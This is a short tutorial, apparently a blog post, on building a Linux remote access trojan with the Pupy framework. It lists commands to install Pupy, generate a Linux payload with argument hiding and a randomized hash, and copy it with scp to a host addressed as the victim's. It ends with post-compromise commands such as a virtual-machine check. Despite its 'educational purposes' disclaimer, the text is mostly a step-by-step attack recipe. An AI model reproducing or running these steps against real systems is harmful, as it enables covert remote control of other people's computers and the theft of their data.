RAT for Linux

RAT for Linux

Disclaimer: Everything on this site is for educational purposes and should not be used for evil.

I will be focusing on the tool called Pupy. This is a tool for making RAT's.

1. Install Pupy

git clone https://github.com/n1nj4sec/pupy
cd pupy
git submodule init
git submodule update
pip install -r pupy/requirements.txt
wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz
tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates

2. Making a RAT

cd pupy
./pupygen.py -l | less -R
./pupygen.py -f py -O linux -A x64 -s hide_argv,name=myRemoteAccess --randomize-hash
./pupysh.py

3. Uploading your Pupy RAT to your server

scp ~/[Path to RAT] [Victim's Nick]@[Victim's IP]:~/[path where to upload the RAT on your server]
netstat -h
list_modules
run check_vm

Comments